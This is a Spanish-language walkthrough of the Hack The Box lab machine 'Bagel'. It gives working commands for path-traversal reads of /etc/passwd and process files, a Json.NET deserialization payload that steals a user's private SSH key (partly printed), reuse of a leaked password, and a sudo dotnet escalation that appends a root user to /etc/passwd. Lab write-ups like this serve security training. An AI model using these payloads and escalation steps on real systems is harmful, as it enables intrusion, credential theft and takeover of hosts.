Descripción

Bagel es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Cruce de directorios en aplicación web permite leer el código fuente web descubriendo una aplicación NetCore con un WebSocket en otro puerto
  • Ingeniería inversa de la aplicación NetCore lleva al descubrimiento de credenciales y una vulnerabilidad de deserialización insegura
  • Vulnerabilidad de deserialización insegura permite leer el contenido de la clave SSH privada de un usuario
  • Pivote de usuario usando las credenciales previamente filtradas
  • Escalada de privilegios al crear una aplicación NetCore con ejecución de comandos permitida de ser ejecutada por el usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.201.

$ ping -c 3 10.10.11.201
PING 10.10.11.201 (10.10.11.201) 56(84) bytes of data.
64 bytes from 10.10.11.201: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.201: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.201: icmp_seq=3 ttl=63 time=43.6 ms

--- 10.10.11.201 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.531/43.593/43.666/0.055 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.201 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.201
Host is up (0.045s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds

We get three open ports: 22, 5000 and 8000.

Enumeración

Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.

$ nmap 10.10.11.201 -sV -sC -p22,5000,8000 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.201
Host is up (0.044s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA)
|_  256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Connection: close
...
8000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.10.9)
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.95%I=7%D=10/18%Time=68F3CC0C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Microsof
...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.08 seconds

Obtenemos tres servicios: uno Secure Shell (SSH), y dos Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio bagel.htb al archivo /etc/hosts.

$ echo '10.10.11.201 bagel.htb' | sudo tee -a /etc/hosts

Enumerando el servicio HTTP encontramos que el servidor web en el puerto 5000 es un Microsoft-NetCore en su versión 2.0. Recibimos un error 400 si intentamos acceder al sitio web. Moviendo al puerto 8000 encontramos una tienda de bagels. Al hacer clic en el botón Orders nos redirige al endpoint /orders con una lista de pedidos y direcciones de envío.

$ curl http://bagel.htb:8000/orders
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]

En la página principal la URL tiene el formato http://bagel.htb:8000/?page=index.html. Para el endpoint index el parámetro page está establecido con el nombre de un archivo. Este endpoint parece vulnerable a la vulnerabilidad de Path Traversal.

Explotación

Estamos comprobando si la vulnerabilidad está activa revisando los usuarios en la consola del sistema al leer el archivo /etc/passwd.

$ curl -s 'http://bagel.htb:8000/?page=../../../../etc/passwd' | grep sh
root:x:0:0:root:/root:/bin/bash
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash

La aplicación es vulnerable con los usuarios de la consola: rootdeveloper y phil. Como es un servidor Werkzeug sabemos que es una aplicación Python. Vamos a enumerar los parámetros con los que la aplicación fue iniciada con el archivo /proc/self/cmdline.

$ curl -o - 'http://bagel.htb:8000/?page=../../../../proc/self/cmdline'
python3/home/developer/app/app.py

Encontramos que la aplicación ejecutada por python3 está ubicada en el directorio /home/developer/app/app.py, por lo tanto asumimos que la aplicación está siendo ejecutada por el usuario developer. Vamos a leer el archivo app.py.

$ curl -o - 'http://bagel.htb:8000/?page=../../../../home/developer/app/app.py'
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

De forma efectiva en el endpoint / la aplicación está devolviendo el contenido del archivo especificado por el parámetro page si existe. Pero el parámetro orders está utilizando un WebSocket hacia el servicio NetCore ubicado en el puerto 5000. En la conexión WebSocket se envía la cadena {"ReadOrder":"orders.txt"} apuntando al archivo orders.txt. Luego se devuelven los contenidos del JSON. Vamos a hacer una prueba usando Python ya que sabemos cómo funciona la aplicación NetCore.

$ python
...
>>> import websocket,json
>>> ws = websocket.WebSocket()
>>> ws.connect("ws://bagel.htb:5000/")
>>> order = {"ReadOrder":"orders.txt"}
>>> data = str(json.dumps(order))
>>> ws.send(data)
33
>>> result = ws.recv()
>>> print(result)
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "8:45:00",
  "RemoveOrder": null,
  "WriteOrder": null,
  "ReadOrder": "order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n"
}

Encontramos como respuesta un objeto JSON con el UserIdSessionTimeRemoveOrderWriteOrder, y ReadOrder (las claves con el contenido impreso en el sitio web). En el código fuente hay una mención de un login usando una clave SSH para ejecutar la aplicación NetCore con un archivo DLL. Como la aplicación NetCore está en ejecución, el proceso debe estar en ejecución. Por lo tanto podemos enumerar todos los procesos del sistema para buscar el que tenga el archivo .dll. Podemos usar la herramienta wfuzz comprobando los IDs de procesos desde 0 hasta 10000.

$ wfuzz -c -z range,1-10000 --ss 'dll' 'http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline'
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline
Total requests: 10000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                    
=====================================================================

000000890:   200        0 L      1 W        45 Ch       "890"
...

Encontramos el PID 890. Vamos a comprobar el cmdline.

$ curl -o - 'http://bagel.htb:8000/?page=../../../../proc/933/cmdline'
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll

El archivo se encuentra en la ruta /opt/bagel/bin/Debug/net6.0/bagel.dll ejecutado por la aplicación dotnet. Vamos a recuperarlo.

$ curl -o bagel.dll 'http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll'
$ file bagel.dll                    
bagel.dll: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections

Con el archivo .dll recuperado podemos descompi larlo con una herramienta como dotPeek. En la clase Orders y el método ReadOrder encontramos que la aplicación está eliminando caracteres que pueden llevar a una Path Traversal como / o ... También encontramos que el método RemoveOrder no está implementado con get y set.

public string ReadOrder
    {
      get => this.file.ReadFile;
      set
      {
        this.order_filename = value;
        this.order_filename = this.order_filename.Replace("/", "");
        this.order_filename = this.order_filename.Replace("..", "");
        this.file.ReadFile = this.order_filename;
      }
    }
...
public object RemoveOrder { get; set; }

En la clase DB encontramos credenciales, con usuario db y contraseña k8wdAYYKyhnjg3K.

public class DB
  {
    [Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
    public void DB_connection()
    {
      SqlConnection sqlConnection = new SqlConnection("Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K");
    }
  }

En la clase Handler encontramos cómo los datos recibidos son serializados y deserializados.

public class Handler
  {
    public object Serialize(object obj)
    {
      return (object) JsonConvert.SerializeObject(obj, (Formatting) 1, new JsonSerializerSettings()
      {
        TypeNameHandling = (TypeNameHandling) 4
      });
    }

    public object Deserialize(string json)
    {
      try
      {
        return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
        {
          TypeNameHandling = (TypeNameHandling) 4
        });
      }
      catch
      {
        return (object) "{\"Message\":\"unknown\"}";
      }
    }
  }

Está efectivamente deserializando el JSON recibido con JsonSerializerSettings, pero está estableciendo el parámetro TypeNameHandling en 4, o Auto. Esta es una vulnerabilidad de deserialización que nos permite ejecutar el método ReadFile para recuperar la clave SSH privada que observamos en el comentario anterior. El otro usuario del sistema que debería tener una clave SSH privada es phil. Usaremos el siguiente código para atacar la deserialización.

{"RemoveOrder":{"$type": "bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}

Ejecutamos la solicitud al servidor WebSocket.

$ python
...
>>> import websocket,json
>>> ws = websocket.WebSocket()
>>> ws.connect("ws://bagel.htb:5000/")
>>> order = {"RemoveOrder":{"$type": "bagel_server.File, bagel",
... "ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
>>> order = {"RemoveOrder":{"$type": "bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
>>> data = str(json.dumps(order))
>>> ws.send(data)
109
>>> result = ws.recv()
>>> print(result)
{
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "9:28:02",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAuhIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2\ns8SIkkk0KmIYED3c7aSC8C74FmvSDxTtNOd3T/iePR...zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

Obtenemos la clave SSH privada del usuario phil, reemplazamos los caracteres \n y nos conectamos.

$ nano id_rsa
$ sed -i 's/\\n/\n/g' id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa phil@bagel.htb                       
The authenticity of host 'bagel.htb (10.10.11.201)' can't be established.
ED25519 key fingerprint is SHA256:Di9rfN6auXa0i6Hdly0dzrLddlFqLIfzbUn30m/l7cg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bagel.htb' (ED25519) to the list of known hosts.
Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
[phil@bagel ~]$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Estamos conectados como el usuario phil.

Post-Explotación

Podemos pivotar a la cuenta developer con la contraseña anterior que descubrimos previamente. k8wdAYYKyhnjg3K.

[phil@bagel ~]$ su developer
Password: 
[developer@bagel phil]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Encontramos que developer puede ejecutar un comando como usuario root/usr/bin/dotnet. Esto significa que podemos cargar cualquier programa con ejecución de comandos para que se ejecute como usuario root.

[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

Vamos a crear un proyecto dotnet con un comando que creará un nuevo usuario root en el sistema con la contraseña passwordhtb.

[developer@bagel ~]$ mkdir project
[developer@bagel ~]$ cd project/
[developer@bagel project]$ dotnet new console -n RunCommand
[developer@bagel project]$ cd RunCommand
[developer@bagel project]$ cat<<EOF>Program.cs
using System.Diagnostics;

class Program
{
    static void Main()
    {
        Process.Start("/bin/bash", "-c \"echo 'root2:\$1\$IX9v2U5o\$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /etc/passwd\"")?.WaitForExit();
    }
}

EOF

Luego ejecutamos el proyecto como usuario root y luego podemos desplegar la terminal root.

[developer@bagel RunCommand]$ sudo dotnet run
[developer@bagel RunCommand]$ su root2
Password: 
[root@bagel RunCommand]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Flags

En la terminal root podemos recuperar los archivos user.txt y root.txt.

[root@bagel RunCommand]# cat /home/phil/user.txt 
<REDACTED>
[root@bagel RunCommand]# cat /root/root.txt 
<REDACTED>